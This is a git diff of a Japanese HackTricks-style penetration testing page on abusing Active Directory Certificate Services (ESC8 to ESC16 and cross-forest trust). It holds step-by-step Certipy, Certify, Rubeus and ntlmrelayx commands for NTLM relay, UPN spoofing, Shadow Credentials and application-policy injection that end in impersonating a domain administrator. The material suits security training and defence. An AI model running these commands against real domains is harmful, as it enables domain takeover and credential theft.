- **証明書登録サービス**(CES)、**証明書登録ポリシー**(CEP)Webサービス、および**ネットワークデバイス登録サービス**(NDES)は、デフォルトでAuthorization HTTPヘッダーを介してネゴシエート認証をサポートしています。ネゴシエート認証は**KerberosとNTLMの両方をサポート**しており、攻撃者はリレー攻撃中に**NTLMにダウングレード**することができます。これらのウェブサービスはデフォルトでHTTPSを有効にしていますが、HTTPSだけでは**NTLMリレー攻撃から保護されません**。HTTPSサービスのNTLMリレー攻撃からの保護は、HTTPSがチャネルバインディングと組み合わさった場合にのみ可能です。残念ながら、AD CSはIISでの認証のための拡張保護を有効にしておらず、チャネルバインディングに必要です。
|
||||
- **証明書登録サービス**(CES)、**証明書登録ポリシー**(CEP)Webサービス、および**ネットワークデバイス登録サービス**(NDES)は、デフォルトでAuthorization HTTPヘッダーを介してネゴシエート認証をサポートしています。ネゴシエート認証は**KerberosとNTLMの両方をサポート**しており、攻撃者はリレー攻撃中に**NTLMにダウングレード**することができます。これらのウェブサービスはデフォルトでHTTPSを有効にしていますが、HTTPSだけでは**NTLMリレー攻撃から保護されません**。HTTPSサービスに対するNTLMリレー攻撃からの保護は、HTTPSがチャネルバインディングと組み合わされる場合にのみ可能です。残念ながら、AD CSはIISでの認証のための拡張保護を有効にしておらず、チャネルバインディングに必要です。
|
||||
|
||||
NTLMリレー攻撃の一般的な**問題**は、**NTLMセッションの短い期間**と、攻撃者が**NTLM署名を必要とするサービス**と対話できないことです。
|
||||
NTLMリレー攻撃の一般的な**問題**は、**NTLMセッションの短い期間**と、攻撃者が**NTLM署名を必要とするサービス**と相互作用できないことです。
|
||||
|
||||
それにもかかわらず、この制限は、ユーザーのために証明書を取得するためにNTLMリレー攻撃を利用することで克服されます。証明書の有効期間がセッションの期間を決定し、証明書は**NTLM署名を義務付けるサービス**で使用できます。盗まれた証明書の使用方法については、次を参照してください:
|
||||
それにもかかわらず、この制限は、ユーザーのために証明書を取得するためにNTLMリレー攻撃を利用することで克服されます。証明書の有効期間がセッションの期間を決定し、証明書は**NTLM署名を義務付けるサービス**で使用できます。盗まれた証明書の利用方法については、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
@ -352,7 +352,7 @@ Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`msPKI-Enrollment-Servers` プロパティは、エンタープライズ証明書認証局 (CA) によって証明書登録サービス (CES) エンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を利用して解析およびリスト化することができます:
|
||||
`msPKI-Enrollment-Servers` プロパティは、エンタープライズ証明書認証局 (CA) によって証明書登録サービス (CES) エンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を利用して解析およびリスト化できます:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -363,7 +363,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
|
||||
```
|
||||
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Certifyの悪用
|
||||
#### Certifyを使った悪用
|
||||
```bash
|
||||
## In the victim machine
|
||||
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
|
||||
@ -382,7 +382,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
|
||||
Certipyによる証明書のリクエストは、アカウント名が`$`で終わるかどうかに基づいて、デフォルトで`Machine`または`User`テンプレートに基づいて行われます。代替テンプレートの指定は、`-template`パラメータを使用することで実現できます。
|
||||
|
||||
その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のような技術を使用して認証を強制することができます。ドメインコントローラーを扱う場合、`-template DomainController`の指定が必要です。
|
||||
その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のような技術を使用して認証を強制することができます。ドメインコントローラーを扱う場合は、`-template DomainController`の指定が必要です。
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -416,17 +416,17 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、意図的に`@corp.local`ドメイン部分が省略されます:
|
||||
その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、`@corp.local`ドメイン部分が意図的に省略されます:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
この変更は制約に違反しません。`Administrator@corp.local`は`Administrator`の`userPrincipalName`として区別されます。
|
||||
|
||||
これに続いて、脆弱であるとマークされた`ESC9`証明書テンプレートが`Jane`として要求されます:
|
||||
これに続いて、脆弱であるとマークされた`ESC9`証明書テンプレートが`Jane`として要求されます:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
証明書の `userPrincipalName` が `Administrator` を反映しており、「object SID」が欠如していることが記載されています。
|
||||
証明書の `userPrincipalName` は `Administrator` を反映しており、「object SID」はありません。
|
||||
|
||||
`Jane` の `userPrincipalName` は元の `Jane@corp.local` に戻されます:
|
||||
```bash
|
||||
@ -459,11 +459,11 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
例えば、`Jane@corp.local`に対して`GenericWrite`権限を持つ攻撃者が、`Administrator@corp.local`を危険にさらそうとします。この手順はESC9と同様で、任意の証明書テンプレートを利用することができます。
|
||||
|
||||
最初に、`Jane`のハッシュはShadow Credentialsを使用して取得され、`GenericWrite`を悪用します。
|
||||
最初に、`Jane`のハッシュがShadow Credentialsを使用して取得され、`GenericWrite`を悪用します。
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
その後、`Jane`の`userPrincipalName`が`Administrator`に変更され、制約違反を避けるために`@corp.local`部分が故意に省略されます。
|
||||
その後、`Jane`の`userPrincipalName`は`Administrator`に変更され、制約違反を避けるために`@corp.local`部分が故意に省略されます。
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
@ -481,9 +481,9 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Abuse Case 2
|
||||
|
||||
`CertificateMappingMethods` に `UPN` ビットフラグ (`0x4`) が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B を危険にさらすことができます。これには、マシンアカウントや組み込みのドメイン管理者 `Administrator` が含まれます。
|
||||
`CertificateMappingMethods` に `UPN` ビットフラグ (`0x4`) が含まれている場合、`GenericWrite` 権限を持つアカウント A は、`userPrincipalName` プロパティを持たない任意のアカウント B を侵害することができます。これには、マシンアカウントや組み込みのドメイン管理者 `Administrator` も含まれます。
|
||||
|
||||
ここでの目標は、`Jane` のハッシュを Shadow Credentials を通じて取得し、`GenericWrite` を利用して `DC$@corp.local` を危険にさらすことです。
|
||||
ここでの目標は、`Jane` のハッシュを Shadow Credentials を通じて取得し、`GenericWrite` を利用して `DC$@corp.local` を侵害することです。
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -507,7 +507,7 @@ LDAPシェルを通じて、`set_rbcd`のようなコマンドはリソースベ
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
この脆弱性は、`userPrincipalName`が欠如しているか、`sAMAccountName`と一致しない任意のユーザーアカウントにも拡張されます。デフォルトの`Administrator@corp.local`は、LDAPの特権が高く、デフォルトで`userPrincipalName`が存在しないため、主要なターゲットとなります。
|
||||
この脆弱性は、`userPrincipalName`が欠如しているか、`sAMAccountName`と一致しない任意のユーザーアカウントにも拡張され、デフォルトの`Administrator@corp.local`は、その高いLDAP権限とデフォルトで`userPrincipalName`がないため、主要なターゲットとなります。
|
||||
|
||||
## NTLMをICPRに中継する - ESC11
|
||||
|
||||
@ -555,7 +555,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
```
|
||||
注意: ドメインコントローラーの場合、DomainControllerで`-template`を指定する必要があります。
|
||||
|
||||
または[sploutchyのimpacketのフォーク](https://github.com/sploutchy/impacket)を使用します:
|
||||
または、[sploutchyのimpacketのフォーク](https://github.com/sploutchy/impacket)を使用します:
|
||||
```bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
@ -589,7 +589,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
|
||||
|
||||
### 説明
|
||||
|
||||
`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加することを許可します。ポリシーを発行する責任のある `msPKI-Enterprise-Oid` オブジェクトは、PKI OIDコンテナの構成命名コンテキスト (CN=OID,CN=Public Key Services,CN=Services) で発見できます。このオブジェクトの `msDS-OIDToGroupLink` 属性を使用して、ポリシーをADグループにリンクすることができ、システムは証明書を提示するユーザーをグループのメンバーであるかのように認可できます。[Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
|
||||
`msPKI-Certificate-Policy` 属性は、発行ポリシーを証明書テンプレートに追加することを許可します。ポリシーを発行する責任のある `msPKI-Enterprise-Oid` オブジェクトは、PKI OIDコンテナの構成命名コンテキスト (CN=OID,CN=Public Key Services,CN=Services) で発見できます。このオブジェクトの `msDS-OIDToGroupLink` 属性を使用して、ポリシーをADグループにリンクすることができ、証明書を提示するユーザーがグループのメンバーであるかのようにシステムがユーザーを認可することが可能になります。[ここに参照](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)。
|
||||
|
||||
言い換えれば、ユーザーが証明書を登録する権限を持ち、証明書がOIDグループにリンクされている場合、ユーザーはこのグループの特権を引き継ぐことができます。
|
||||
|
||||
@ -619,24 +619,223 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
|
||||
ユーザー権限を見つけるには `certipy find` または `Certify.exe find /showAllPermissions` を使用します。
|
||||
|
||||
`John` が `VulnerableTemplate` の登録権限を持っている場合、そのユーザーは `VulnerableGroup` グループの特権を継承できます。
|
||||
`John` が `VulnerableTemplate` を登録する権限を持っている場合、そのユーザーは `VulnerableGroup` グループの特権を継承できます。
|
||||
|
||||
必要なのはテンプレートを指定するだけで、OIDToGroupLink権限を持つ証明書を取得します。
|
||||
必要なのはテンプレートを指定するだけで、OIDToGroupLink 権利を持つ証明書を取得します。
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## フォレストの証明書を使った侵害の説明(受動態)
|
||||
## 脆弱な証明書更新構成 - ESC14
|
||||
|
||||
### 妥協されたCAによるフォレスト信頼の破壊
|
||||
### 説明
|
||||
|
||||
**クロスフォレスト登録**の設定は比較的簡単です。リソースフォレストの**ルートCA証明書**は管理者によって**アカウントフォレストに公開され**、リソースフォレストの**エンタープライズCA**証明書は**各アカウントフォレストの`NTAuthCertificates`およびAIAコンテナに追加されます**。この配置は、リソースフォレストの**CAがPKIを管理するすべての他のフォレストに対して完全な制御を与える**ことを明確にします。このCAが**攻撃者によって妥協された場合**、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書は**彼らによって偽造される可能性があり**、フォレストのセキュリティ境界が破られることになります。
|
||||
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping の説明は非常に詳細です。以下は元のテキストの引用です。
|
||||
|
||||
ESC14は、「弱い明示的証明書マッピング」から生じる脆弱性に対処しており、主にActive Directoryユーザーまたはコンピューターアカウントの`altSecurityIdentities`属性の誤用または不適切な構成を通じて発生します。この多値属性は、管理者が認証目的でADアカウントにX.509証明書を手動で関連付けることを可能にします。これが設定されると、これらの明示的なマッピングは、通常、証明書のSAN内のUPNまたはDNS名、または`szOID_NTDS_CA_SECURITY_EXT`セキュリティ拡張に埋め込まれたSIDに依存するデフォルトの証明書マッピングロジックを上書きすることができます。
|
||||
|
||||
「弱い」マッピングは、`altSecurityIdentities`属性内で証明書を識別するために使用される文字列値があまりにも広範で、簡単に推測できる、非一意の証明書フィールドに依存する、または簡単に偽造可能な証明書コンポーネントを使用する場合に発生します。攻撃者が特権アカウントのためにこのように弱く定義された明示的マッピングに一致する属性を持つ証明書を取得または作成できる場合、その証明書を使用してそのアカウントとして認証し、なりすますことができます。
|
||||
|
||||
潜在的に弱い`altSecurityIdentities`マッピング文字列の例には以下が含まれます:
|
||||
|
||||
- 一般的なSubject Common Name (CN)によるマッピングのみ:例、`X509:<S>CN=SomeUser`。攻撃者は、より安全でないソースからこのCNを持つ証明書を取得できるかもしれません。
|
||||
- 特定のシリアル番号や主題キー識別子のようなさらなる資格なしに、あまりにも一般的なIssuer Distinguished Names (DNs)やSubject DNsを使用する:例、`X509:<I>CN=SomeInternalCA<S>CN=GenericUser`。
|
||||
- 攻撃者が正当な方法で取得または偽造できる証明書で満たすことができる他の予測可能なパターンや非暗号的識別子を使用する(CAを侵害した場合やESC1のような脆弱なテンプレートを見つけた場合)。
|
||||
|
||||
`altSecurityIdentities`属性は、マッピングのためにさまざまな形式をサポートしています:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN`(完全なIssuerおよびSubject DNによるマッピング)
|
||||
- `X509:<SKI>SubjectKeyIdentifier`(証明書のSubject Key Identifier拡張値によるマッピング)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN`(シリアル番号によるマッピング、暗黙的にIssuer DNによって資格付けされる) - これは標準形式ではなく、通常は`<I>IssuerDN<SR>SerialNumber`です。
|
||||
- `X509:<RFC822>EmailAddress`(SANからのRFC822名、通常はメールアドレスによるマッピング)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey`(証明書の生の公開鍵のSHA1ハッシュによるマッピング - 一般的に強力)
|
||||
|
||||
これらのマッピングのセキュリティは、マッピング文字列で使用される選択された証明書識別子の特異性、一意性、および暗号的強度に大きく依存します。ドメインコントローラーで強力な証明書バインディングモードが有効になっている場合(これは主にSAN UPN/DNSおよびSID拡張に基づく暗黙的マッピングに影響しますが)、不適切に構成された`altSecurityIdentities`エントリは、マッピングロジック自体が欠陥があるか、あまりにも許容的である場合、なりすましの直接的な道を提供する可能性があります。
|
||||
|
||||
### 悪用シナリオ
|
||||
|
||||
ESC14はActive Directory (AD)の**明示的証明書マッピング**をターゲットにしており、特に`altSecurityIdentities`属性を対象としています。この属性が設定されている場合(設計上または誤設定による)、攻撃者はマッピングに一致する証明書を提示することでアカウントをなりすますことができます。
|
||||
|
||||
#### シナリオA: 攻撃者が`altSecurityIdentities`に書き込むことができる
|
||||
|
||||
**前提条件**: 攻撃者はターゲットアカウントの`altSecurityIdentities`属性に書き込む権限を持っているか、ターゲットADオブジェクトに対して以下のいずれかの権限を付与する権限を持っています:
|
||||
- プロパティ`altSecurityIdentities`に書き込み
|
||||
- プロパティ`Public-Information`に書き込み
|
||||
- プロパティ(すべて)に書き込み
|
||||
- `WriteDACL`
|
||||
- `WriteOwner`*
|
||||
- `GenericWrite`
|
||||
- `GenericAll`
|
||||
- Owner*。
|
||||
|
||||
#### シナリオB: ターゲットがX509RFC822(メール)を介して弱いマッピングを持つ
|
||||
|
||||
- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509RFC822マッピングを持っています。攻撃者は被害者のメール属性をターゲットのX509RFC822名に一致させ、被害者として証明書を登録し、それを使用してターゲットとして認証します。
|
||||
|
||||
#### シナリオC: ターゲットがX509IssuerSubjectマッピングを持つ
|
||||
|
||||
- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509IssuerSubject明示的マッピングを持っています。攻撃者は被害者の主題をターゲットのX509IssuerSubjectマッピングに一致させるために、`cn`または`dNSHostName`属性を設定できます。その後、攻撃者は被害者として証明書を登録し、この証明書を使用してターゲットとして認証します。
|
||||
|
||||
#### シナリオD: ターゲットがX509SubjectOnlyマッピングを持つ
|
||||
|
||||
- **前提条件**: ターゲットは`altSecurityIdentities`に弱いX509SubjectOnly明示的マッピングを持っています。攻撃者は被害者の主題をターゲットのX509SubjectOnlyマッピングに一致させるために、`cn`または`dNSHostName`属性を設定できます。その後、攻撃者は被害者として証明書を登録し、この証明書を使用してターゲットとして認証します。
|
||||
|
||||
### 具体的な操作
|
||||
#### シナリオA
|
||||
|
||||
証明書テンプレート`Machine`の証明書をリクエストします。
|
||||
```bash
|
||||
.\Certify.exe request /ca:<ca> /template:Machine /machine
|
||||
```
|
||||
証明書を保存して変換する
|
||||
```bash
|
||||
certutil -MergePFX .\esc13.pem .\esc13.pfx
|
||||
```
|
||||
証明書を使用して認証する
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
|
||||
```
|
||||
クリーンアップ(オプション)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
より具体的な攻撃手法については、以下を参照してください: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0)。
|
||||
|
||||
## EKUwu アプリケーションポリシー (CVE-2024-49019) - ESC15
|
||||
|
||||
### 説明
|
||||
|
||||
https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc の説明は非常に詳細です。以下は元のテキストの引用です。
|
||||
|
||||
組み込みのデフォルトバージョン1証明書テンプレートを使用することで、攻撃者はテンプレートに指定された構成された拡張キー使用属性よりも優先されるアプリケーションポリシーを含むCSRを作成できます。唯一の要件は登録権限であり、**_WebServer_** テンプレートを使用してクライアント認証、証明書要求エージェント、およびコード署名証明書を生成するために使用できます。
|
||||
|
||||
### 悪用
|
||||
|
||||
以下は [このリンク](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu) に言及しています。詳細な使用方法を確認するにはクリックしてください。
|
||||
|
||||
Certipyの `find` コマンドは、CAがパッチ未適用の場合にESC15に対して潜在的に脆弱なV1テンプレートを特定するのに役立ちます。
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### シナリオ A: Schannelを介した直接ななりすまし
|
||||
|
||||
**ステップ 1: "クライアント認証" アプリケーションポリシーとターゲットUPNを注入して証明書を要求します。** 攻撃者 `attacker@corp.local` は "WebServer" V1 テンプレートを使用して `administrator@corp.local` をターゲットにします(これは登録者が提供した件名を許可します)。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
|
||||
-application-policies 'Client Authentication'
|
||||
```
|
||||
- `-template 'WebServer'`: 脆弱なV1テンプレートで「エンロリーがサブジェクトを提供する」。
|
||||
- `-application-policies 'Client Authentication'`: CSRのApplication Policies拡張にOID `1.3.6.1.5.5.7.3.2`を注入します。
|
||||
- `-upn 'administrator@corp.local'`: なりすましのためにSANにUPNを設定します。
|
||||
|
||||
**ステップ2: 取得した証明書を使用してSchannel (LDAPS)経由で認証します。**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Step 1: V1 テンプレートから証明書をリクエストする(「エンロリーがサブジェクトを提供」付き)、"Certificate Request Agent" アプリケーションポリシーを注入する。** この証明書は攻撃者(`attacker@corp.local`)がエンロールメントエージェントになるためのものです。ここでは攻撃者自身のアイデンティティのための UPN は指定されておらず、目的はエージェントの能力です。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-application-policies 'Certificate Request Agent'
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` を注入します。
|
||||
|
||||
**ステップ 2: "agent" 証明書を使用して、ターゲットの特権ユーザーの代理として証明書を要求します。** これはESC3のようなステップで、ステップ1の証明書をエージェント証明書として使用します。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**ステップ 3: "on-behalf-of" 証明書を使用して特権ユーザーとして認証します。**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
|
||||
### Explanation
|
||||
|
||||
**ESC16 (特権昇格の欠如による szOID_NTDS_CA_SECURITY_EXT 拡張の欠如)** は、AD CSの設定がすべての証明書に**szOID_NTDS_CA_SECURITY_EXT**拡張の含有を強制しない場合に、攻撃者が以下の方法でこれを悪用できるシナリオを指します:
|
||||
|
||||
1. **SIDバインディングなし**で証明書を要求すること。
|
||||
|
||||
2. この証明書を使用して、**任意のアカウントとして認証すること**、例えば高特権アカウント(例:ドメイン管理者)を偽装すること。
|
||||
|
||||
詳細な原則については、この記事を参照してください:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Abuse
|
||||
|
||||
以下は[このリンク](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)を参照しています。詳細な使用方法を確認するにはクリックしてください。
|
||||
|
||||
Active Directory Certificate Services (AD CS) 環境が**ESC16**に対して脆弱かどうかを特定するために
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**ステップ 1: 被害者アカウントの初期 UPN を読み取る (オプション - 復元用)。**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**ステップ 2: 被害者アカウントの UPN をターゲット管理者の `sAMAccountName` に更新します。**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**ステップ 3: (必要に応じて) "被害者" アカウントの資格情報を取得する (例: Shadow Credentials を介して)。**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**ステップ 4: ESC16脆弱性のあるCAで、_任意の適切なクライアント認証テンプレート_(例: "User")から「被害者」ユーザーとして証明書を要求します。** CAはESC16に脆弱であるため、テンプレートのこの拡張機能に対する特定の設定に関係なく、発行された証明書からSIDセキュリティ拡張を自動的に省略します。Kerberos資格情報キャッシュ環境変数を設定します(シェルコマンド):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
次に証明書をリクエストします:
|
||||
```bash
|
||||
certipy req \
|
||||
-k -dc-ip '10.0.0.100' \
|
||||
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
|
||||
-template 'User'
|
||||
```
|
||||
**ステップ 5: "被害者" アカウントの UPN を元に戻す。**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**ステップ 6: 対象の管理者として認証します。**
|
||||
```bash
|
||||
certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
-username 'administrator' -domain 'corp.local'
|
||||
```
|
||||
## フォレストの妥協と証明書の説明(受動態)
|
||||
|
||||
### 妥協したCAによるフォレスト信頼の破壊
|
||||
|
||||
**クロスフォレスト登録**の設定は比較的簡単です。リソースフォレストの**ルートCA証明書**は管理者によって**アカウントフォレストに公開され**、リソースフォレストの**エンタープライズCA**証明書は**各アカウントフォレストの`NTAuthCertificates`およびAIAコンテナに追加されます**。この配置は、リソースフォレストの**CAがPKIを管理するすべての他のフォレストに対して完全な制御を持つ**ことを明確にします。このCAが**攻撃者によって妥協された場合**、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書は**彼らによって偽造される可能性があり**、これによりフォレストのセキュリティ境界が破られることになります。
|
||||
|
||||
### 外部プリンシパルに付与された登録権限
|
||||
|
||||
マルチフォレスト環境では、**証明書テンプレートを公開するエンタープライズCA**に関して注意が必要です。これにより、**認証されたユーザーまたは外部プリンシパル**(エンタープライズCAが属するフォレスト外のユーザー/グループ)に**登録および編集権限**が与えられます。\
|
||||
信頼を越えた認証の際、**認証されたユーザーSID**はADによってユーザーのトークンに追加されます。したがって、ドメインが**認証されたユーザーの登録権限を許可するテンプレートを持つエンタープライズCA**を持っている場合、異なるフォレストのユーザーが**テンプレートに登録される可能性があります**。同様に、**テンプレートによって外部プリンシパルに明示的に登録権限が付与されると**、**クロスフォレストアクセス制御関係が作成され**、1つのフォレストのプリンシパルが**別のフォレストのテンプレートに登録できるようになります**。
|
||||
マルチフォレスト環境では、**認証されたユーザーまたは外部プリンシパル**(エンタープライズCAが属するフォレスト外のユーザー/グループ)に**登録および編集権限**を許可する**証明書テンプレートを公開するエンタープライズCA**に関して注意が必要です。\
|
||||
信頼を越えた認証の際、**認証されたユーザーSID**はADによってユーザーのトークンに追加されます。したがって、ドメインが**認証されたユーザーの登録権限を許可するテンプレートを持つエンタープライズCA**を持っている場合、異なるフォレストのユーザーが**テンプレートに登録される可能性があります**。同様に、**テンプレートによって外部プリンシパルに明示的に登録権限が付与されると**、**クロスフォレストアクセス制御関係が作成され**、あるフォレストのプリンシパルが**別のフォレストのテンプレートに登録できるようになります**。
|
||||
|
||||
どちらのシナリオも、1つのフォレストから別のフォレストへの**攻撃面の増加**をもたらします。証明書テンプレートの設定は、攻撃者によって悪用され、外部ドメインでの追加権限を取得することができます。
|
||||
どちらのシナリオも、あるフォレストから別のフォレストへの**攻撃面の増加**をもたらします。証明書テンプレートの設定は、攻撃者によって悪用され、外部ドメインでの追加権限を取得することができます。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user